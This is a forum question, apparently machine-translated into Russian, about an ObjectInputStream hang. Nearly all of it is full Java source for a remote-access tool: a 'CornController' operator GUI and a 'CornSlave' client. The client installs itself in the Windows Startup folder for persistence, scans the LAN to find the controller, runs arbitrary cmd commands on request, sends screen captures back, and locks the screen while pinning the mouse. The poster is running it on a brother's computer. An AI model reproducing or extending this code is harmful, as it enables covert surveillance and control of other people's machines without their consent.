Код ObjectInputStream работает на одном компьютере, но не на другом - PullRequest
0 голосов
/ 06 мая 2019

Моя программа зависает, когда достигает строки ois = new ObjectInputStream (...): /

Проблема заключается в том, что она делает это только на компьютере моего брата, а на моем все работает примерно так, как должно.Он украл у меня свой компьютер, поэтому я не могу тестировать свой код так интенсивно, как обычно, и даже в этом случае я потратил около часа на то, чтобы поиграть с ним безрезультатно.

IЯ попытался изменить местоположение, в котором я инициализирую свои потоки, а также порядок их инициализации.

public class CornController extends JFrame{

private JTextArea shell;
private DefaultListModel<String> onlineList;
private JList<String> online;

private SlaveTrader slaveTrader = new SlaveTrader();
SlaveTrader targets = new SlaveTrader();

public static void main(String[] args) {
    new CornController();
}

public void printToShell(String print) {
    String prior = shell.getText();
    shell.setText(prior + "\n"+print);
}

public CornController() {
    int h = Toolkit.getDefaultToolkit().getScreenSize().height;
    int w = Toolkit.getDefaultToolkit().getScreenSize().width;
    this.setDefaultCloseOperation(EXIT_ON_CLOSE);
    this.setLayout(null);
    this.setAlwaysOnTop(true);
    this.getContentPane().setBackground(Color.blue);
    this.setResizable(false);
    this.setTitle("Corn Control");
    setSize(3*(w/8), 3*(h/4));
    setLocation(w/8, h/8);

    shell = new JTextArea();
    shell.setBackground(Color.cyan);
    shell.setEditable(false);
    JScrollPane scrlShell = new JScrollPane(shell);
    scrlShell.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS);
    scrlShell.setBounds(w/85,h/64,7*w/32,19*h/32);
    add(scrlShell);
    JTextField input = new JTextField();
    input.setBackground(Color.cyan);
    input.setBounds(w/85,h/64 + 39*h/64,w/4-w/32,h/20);
    input.addActionListener(new ActionListener() {

        public void actionPerformed(ActionEvent e) {
            String command = input.getText();
            input.setText("");
            String[] components = command.split(" ");
            if(components[0].contentEquals("cmd")) {
                distribute(command);
                printToShell("running shell command");
            }
            if(components[0].contentEquals("capture")) {
                if(targets.slaves.size() > 0) {
                    printToShell("requesting screen captures");
                    distribute("capture");
                    Object[] raw = collect();
                    ImageIcon[] screenCaps = new ImageIcon[targets.slaves.size()];
                    for(int i = 0; i < raw.length; i++) {
                        screenCaps[i] = (ImageIcon)raw[i];
                    }
                    printToShell("collected screen captures");
                    for(ImageIcon a:screenCaps) {
                        JFrame dispImg = new JFrame();
                        dispImg.setBounds(0,0,800,500);
                        dispImg.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
                        JLabel label = new JLabel();
                        label.setIcon(a);
                        dispImg.add(label);
                        dispImg.setVisible(true);
                    }
                }
                else {
                    printToShell("collected screen captures");
                }
            }
            else if(components[0].contentEquals("lock")) {
                String send = "";
                for(int i = 1; i < components.length; i++)
                    send+=components[i]+" ";
                distribute("lockmachine "+send.trim());
            }
            else if(components[0].contentEquals("unlock")) {
                distribute("unlockmachine");
            }
            else if(components[0].contentEquals("select")) {
                if(components.length >= 2) {
                    if(components[1].contentEquals("all")) {
                        targets.add(slaveTrader);
                        online.addSelectionInterval(0, onlineList.size()-1);
                    }
                    else {
                        for(int i = 1; i < components.length; i++) 
                            online.addSelectionInterval(onlineList.indexOf(slaveTrader.get(components[i]).uname), onlineList.indexOf(slaveTrader.get(components[i]).uname));
                    }
                }
                else {
                    printToShell("invalid arguments");
                }
            }
            else if(components[0].contentEquals("deselect")) {
                if(components.length >= 2) {
                    if(components[1].contentEquals("all")) {
                        online.clearSelection();
                    }
                    else{
                        for(int i = 1; i < components.length; i++) 
                            online.removeSelectionInterval(onlineList.indexOf(slaveTrader.get(components[i]).uname), onlineList.indexOf(slaveTrader.get(components[i]).uname));
                    }
                }
                else {
                    printToShell("invalid arguments");
                }
            }
            else if(components[0].contentEquals("list")) {
                printToShell(slaveTrader.toString());
            }
            else {
                printToShell("Invalid Command");
            }
        }


        private void distribute(String command) {
            for(Slave slv:targets.slaves) {
                try {
                    slv.oos.writeObject(command);
                }catch(IOException e) {e.printStackTrace();}
            }
        }
        private Object[] collect() {
            Object[] toReturn = new Object[targets.slaves.size()];
            int i = 0;
            for(Slave slv:targets.slaves) {
                try {
                    Object a = slv.ois.readObject();
                    toReturn[i] = a;
                    i++;
                }catch(Exception e) {e.printStackTrace();}
            }
            return toReturn;
        }
    });
    add(input);

    onlineList = new DefaultListModel<String>();
    online = new JList<String>(onlineList);
    online.setBackground(Color.yellow);
    online.setBounds(w/85+15*w/64,h/64,13*w/128,19*h/32);
    online.setSelectionMode(DefaultListSelectionModel.MULTIPLE_INTERVAL_SELECTION);
    add(online);
    online.addListSelectionListener(new ListSelectionListener(){
        public void valueChanged(ListSelectionEvent e) {
            int start = e.getFirstIndex();
            int end = e.getLastIndex();
            if(online.isSelectedIndex(start)) {
                String toShell = "";
                for(int i = start; i <=end; i++) {
                    if(slaveTrader.get(onlineList.get(i))!= null) {
                        if(targets.get(onlineList.get(i))== null) {
                            targets.add(slaveTrader.get(onlineList.get(i)));
                            toShell+=onlineList.get(i)+" selected\n";
                        } 
                    }
                }
                if(toShell.length() > 0)
                    printToShell(toShell.substring(0,toShell.length()-1));

            }
            else {
                String toShell = "";
                for(int i = start; i <=end; i++) {
                    if(targets.get(onlineList.get(i))!= null) {
                        targets.remove(targets.get(onlineList.get(i)));
                        toShell+=onlineList.get(i)+" deselected\n";
                    }
                }
                if(toShell.length() > 0)
                    printToShell(toShell.substring(0,toShell.length()-1));
            }
        }
    });


    JButton selAll = new JButton();
    selAll.setBounds(w/85+15*w/64,h/64 + 39*h/64,13*w/128,h/20);
    selAll.setBackground(Color.orange);
    selAll.setText("Select All");
    selAll.addActionListener(new ActionListener(){
        public void actionPerformed(ActionEvent e) {
            if(onlineList.size() > 0) {
                online.setSelectionInterval(0, onlineList.size()-1);
                targets.add(slaveTrader);
            }
            printToShell("Selecting all clients");
        }
    });
    add(selAll);
    setVisible(true);
    up();
}
public void up(){
    try{

        ServerSocket CornControl = new ServerSocket(8889);

        while(true){
            Socket clientSocket = CornControl.accept();
            System.out.println("found a client!");
            ClientHandler client = new ClientHandler(clientSocket);
            Thread clientThread = new Thread(client);
            clientThread.start();

        }
    }catch(IOException e){
        e.printStackTrace();
    }
}
public class ClientHandler extends Thread {

    public ClientHandler(Socket s) {
        String user = "";
        ObjectOutputStream oos = null;
        ObjectInputStream ois  = null;
        try {
            System.out.println("setting up output stream on server side");
            oos = new ObjectOutputStream(s.getOutputStream());
            System.out.println("setting up input stream on server side");
            ois = new ObjectInputStream(s.getInputStream());

            System.out.println("done setting up streams");
            oos.writeObject("ready");
            user = (String)ois.readObject();
        }catch(Exception e) {e.printStackTrace();}
        printToShell(user+" connected");
        onlineList.addElement(user);

        Slave nextSlave = new Slave(s,user.substring(user.indexOf(":")+1), ois, oos);
        slaveTrader.add(nextSlave);
        try {
            alive(nextSlave, oos, ois);
        }catch(IOException e) {e.printStackTrace();}
    }
    public void alive(Slave s, ObjectOutputStream oos, ObjectInputStream ois) throws IOException{
        while(true) {
            try {
                if(slaveTrader.slaves.size()<20)
                    Thread.sleep(1*1000);
                else
                    Thread.sleep(10*1000);
            } catch (InterruptedException e) {e.printStackTrace();}

            try {
                oos.writeObject("isalive");
            }catch(SocketException e) {
                slaveTrader.remove(s);
                printToShell(s.uname+" disconnected");
                onlineList.removeElement(s.uname);
            }
        }
    }

}
private class SlaveTrader {
    private ArrayList<Slave> slaves;

    public SlaveTrader() {
        slaves = new ArrayList<Slave>();
    }
    public Slave get(String uname) {
        if(slaves.size() > 0)
            for(Slave i:slaves) {
                if(i.uname.contentEquals(uname)) {
                    return i;
                }
            }
        return null;
    }
    public void add(Slave sl) {
        if(sl == null || get(sl.uname)!= null ) {
            return;
        }
        slaves.add(sl);
    }
    public boolean remove(Slave sl) {
        if(sl == null) {
            return false;
        }
        if(slaves.size() > 0)
            for(Slave s:slaves) {
                if(sl.uname.contentEquals(s.uname)) {
                    slaves.remove(s);
                    return true;
                }
            }
        return false;
    }
    public void add(SlaveTrader trd) {
        if(trd == null)
            return;
        for(Slave sl:trd.slaves) {
            if(get(sl.uname) == null)
                slaves.add(sl);
        }

    }
    public void remove(SlaveTrader trd) {
        if(trd == null)
            return;
        for(Slave sl:trd.slaves) {
            if(get(sl.uname) != null)
                slaves.remove(sl);
        }

    }


    public String toString() {
        if(slaves.size() == 0)
            return "[empty]";

        String toReturn = "";
        for(Slave i: slaves) {
            toReturn+=i.uname;
            toReturn+="\n";
        }
        toReturn = toReturn.substring(0,toReturn.length()-1);
        return toReturn;
    }
}

private class Slave {
    private Socket s;
    private String uname;
    private ObjectInputStream ois;
    private ObjectOutputStream oos;

    public Slave(Socket socket, String username, ObjectInputStream i, ObjectOutputStream o) {
        s = socket;
        uname = username;
        ois = i;
        oos = o;
    }
}
}











public class CornSlave {

private Robot bot;
private ObjectOutputStream oos;
private ObjectInputStream ois;

public static void main(String[] args) {
    new CornSlave();
}

//sets up a connection with a Controller
public CornSlave() {
    try {
        bot = new Robot();
    } catch (AWTException e1) {
        e1.printStackTrace();
    }
    Persistence();

    //deciding what local ipv4 address is being used, to use later when finding a functioning server 
    String localhost = null;
    int block1 = -1;
    int block2 = -1;
    int block2_start = 0;
    int block2_end = 255;
    try {
        localhost = InetAddress.getLocalHost().getHostAddress();
    }catch(Exception e) {System.err.println("invalid host");System.exit(-192);}
    block1 = Integer.parseInt(localhost.substring(0,localhost.indexOf(".")));
    block2 = Integer.parseInt(localhost.substring(localhost.indexOf(".")+1).substring(0,localhost.indexOf(".")));
    if(block1 == 10) {
        block2_start = 0;
        block2_end = 255;
    }
    else if(block1 == 172) {
        block2_start = 16;
        block2_end = 31;
    }
    else if(block1 == 192) {
        block2_start = 168;
        block2_end = 168;
    }

    //trying to connect to any server with the same 2nd number ipv4 address as the slave
    Socket serverSocket = detectServer(block1, block2);
    //bruteforcing to find a server over the range of ipv4 addresses discovered earlier in the method
    while(serverSocket == null) {
        for(int i = block2_start; i <= block2_end; i++) {
            serverSocket = detectServer(block1, i);
            if (serverSocket != null) {
                i = 256;
            }
        }
        //waiting 30 seconds before trying again
        if(serverSocket == null) {
            try {
                Thread.sleep(1000*20);
            } catch (InterruptedException e) {e.printStackTrace();}
        }
    }
    //finally found a controller, now it's time to get instructions
    getOrders(serverSocket);
}

private class detectThread extends Thread{

    private int[] block = new int[3];
    private Socket socket;
    public detectThread(int b1, int b2, int b3) {
        block[0] = b1;
        block[1] = b2;
        block[2] = b3;
    }
    public void run() {
        for(int b4 = 0; b4 <= 255;) {
            Socket socketArr = new Socket();
            InetSocketAddress socketAddr = new InetSocketAddress(block[0]+"."+block[1]+"."+block[2]+"."+b4,8889);
            try {
                socketArr.connect(socketAddr,1);
                socket = socketArr;
                b4 = 256;
            }catch(IOException e) {
                b4++;
            }
        }
    }
}

//used to search out a LAN server on port 8889 over all possible addresses given the first two numbers
private Socket detectServer(int b1, int b2) {

    ArrayList<detectThread> threads = new ArrayList<detectThread>();
    for(int b3 = 0; b3 <= 255; b3++) {
        System.out.println("looking at "+b3);
        detectThread loop4 = new detectThread(b1,b2,b3);
        threads.add(loop4);
        loop4.start();
    }
    for(detectThread thr:threads) {
        try {
            thr.join();
        } catch (InterruptedException e) {e.printStackTrace();}
        if(thr.socket != null) {
            synchronized(thr.socket) {
                System.out.println(thr.socket);
                try {
                    oos = new ObjectOutputStream(thr.socket.getOutputStream());
                    System.out.println("set up output");
                    ois = new ObjectInputStream(thr.socket.getInputStream());
                    System.out.println("set up input");
                }catch(IOException e) {e.printStackTrace();System.exit(-10);}
                return thr.socket;
            }
        }
    }
    return null;
}

//placing itself in the user's startup folder in order to be re-enabled once they sign out and in again
private void Persistence() {
    System.out.println("trying to save in startup");
    String autostart = System.getProperty("java.io.tmpdir").replace("Local\\Temp\\", "Roaming\\Microsoft\\Windows\\Start Menu\\Programs");
    String runningdir = Paths.get(".").toAbsolutePath().normalize().toString(); 

    //creating a batch file to run the slave program
    File file=new File(autostart+"\\Startup\\runSlave.bat"); 
    FileOutputStream fos = null;
    try {
        fos = new FileOutputStream(file);
    } catch (FileNotFoundException e) {
        e.printStackTrace();
    } 
    DataOutputStream dos=new DataOutputStream(fos); 
    try {
        dos.writeBytes("cd \""+autostart+"\\\"\nstart CornSlave.jar");
    } catch (IOException e) {
        e.printStackTrace();
    } 

    //copying in the actual Slave program
    //CHANGE JAVA TO JAR**************************************************************************
    Path src = Paths.get(runningdir+"\\src\\CornSlave.java");
    Path dest = Paths.get(autostart+"\\CornSlave.java");

    //Path src = Paths.get(runningdir+"\\CornSlave.jar");
    //Path dest = Paths.get(autostart+"\\CornSlave.jar");
    try {
        Files.copy(src, new FileOutputStream(dest.toFile()));
    }catch(Exception e) {e.printStackTrace();}
    System.out.println("Save successful");
}

//Get and execute instructions from a controller on the LAN

private void revive(InetAddress addr) {
    System.out.println("lost connection with server. trying to revive...");
    String[] blocks = addr.getHostAddress().split("\\.");

    int block1 = Integer.parseInt(blocks[0]);
    int block2 = Integer.parseInt(blocks[1]);
    System.out.println(".");
    final int block2_start;
    final int block2_end;
    System.out.println(".");
    if(block1 == 10) {
        block2_start = 0;
        block2_end = 255;
    }
    else if(block1 == 172) {
        block2_start = 16;
        block2_end = 31;
    }
    else if(block1 == 192) {
        block2_start = 168;
        block2_end = 168;
    }
    else {
        block2_start = 0;
        block2_end = 0;
    }
    //System.out.println("scanning original range");
    Socket serverSocket = detectServer(block1,block2);
    while(serverSocket == null) {
        System.out.println("starting scan");

        for(int i = block2_start; i <= block2_end; i++) {
            serverSocket = detectServer(block1, i);
            if (serverSocket != null) {
                i = 256;    


            }
        }   
        if(serverSocket == null) {
            try {
                Thread.sleep(1000*20);
            } catch (InterruptedException e) {e.printStackTrace();}
        }
    }
    System.out.println("revived");
    getOrders(serverSocket);
}
private void killThreads(Thread[] toKill) {
    for(Thread t:toKill) {
        t.stop();
    }
}

private class LockThread extends Thread{
    JFrame lockScreen;
    public void run() {
        lockScreen = new JFrame();
        lockScreen.setAlwaysOnTop(true);
        lockScreen.getContentPane().setBackground(Color.gray);
        Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
        lockScreen.setDefaultCloseOperation(lockScreen.DO_NOTHING_ON_CLOSE);
        lockScreen.setSize(size);
        lockScreen.setLocation(0,0);
        lockScreen.setUndecorated(true);
        lockScreen.setVisible(true);
        lockScreen.addKeyListener(new KeyListener() {
            public void keyTyped(KeyEvent e) {}
            public void keyPressed(KeyEvent e) {}
            public void keyReleased(KeyEvent e) {}});
        while(true) {
            bot.mouseMove(size.height/2, size.width/2);
        }
    }
}

private void getOrders(Socket serverSocket){
    System.out.println("bout to set up streams");
    LockThread lockComp = null;

    try {
        System.out.println(System.getProperty("user.name"));
        oos.writeObject(System.getProperty("user.name"));
    }catch(Exception e) {e.printStackTrace();}
    System.out.println("getting orders");
    while(true) {
        Object command = null;
        while(command == null) {
            try {
                command = ois.readObject();
            } catch (SocketException e) { 
                revive(serverSocket.getInetAddress());
                return;
            }catch(ClassNotFoundException e) {e.printStackTrace();
            }catch(IOException e) {e.printStackTrace();};
        }

        if(command instanceof String) {
            System.out.println(command);
            String[] parameters = ((String)command).split(" ");
            if(((String)command).contentEquals("isalive")) {
            }
            else if(parameters[0].contentEquals("capture")) {
                BufferedImage screenFullImage = bot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
                ImageIcon icon = new ImageIcon(screenFullImage);
                try {
                    oos.writeObject(icon);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            else if(parameters[0].contentEquals("lockmachine")) {
                lockComp = new LockThread();
                lockComp.start();
            }
            else if(parameters[0].contentEquals("unlockmachine")) {
                if(lockComp != null)
                    lockComp.stop();
                lockComp = null;
            }
            else {

                if(parameters[0].contentEquals("cmd")) {
                    String[] run = new String[parameters.length + 1];
                    run[0] = "cmd";
                    run[1] = "/K";
                    for(int i = 1; i < parameters.length; i++) {
                        run[i+1] = parameters[i];
                    }
                    try {
                        Runtime.getRuntime().exec(run);
                    } catch (IOException e) {e.printStackTrace();}
                }
            }
        }

    }
}
}

В идеале, когда я запускаю сервер, появляется GUI, и он показывает, что каждое соединение с ним работает через JList,каждый клиент перебирает силы через разные локальные ips, чтобы найти сервер, а затем начинает принимать инструкции.С другой стороны, я полагаю, что есть способ заставить сервер транслировать себя всем, и это было бы намного быстрее, чем каждый клиент находил сервер для себя, но я уверен, что некоторые локальные сети не разрешают широковещательные рассылки.вот так отсюда и решение.

Однако в настоящее время на компьютере моего брата 80% времени, когда я запускаю клиент после запуска сервера, он правильно находит IP-адрес, но не может пройти инициализацию ObjectInputStream.И клиент, и сервер навсегда останутся в этом положении.остальные 20% программа работает нормально (по крайней мере, для первого клиента, потому что я еще не тестировал более одного сразу), хотя ни один из кодов не был изменен каким-либо существенным образом (подумайте о перемещении операторов печати)

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...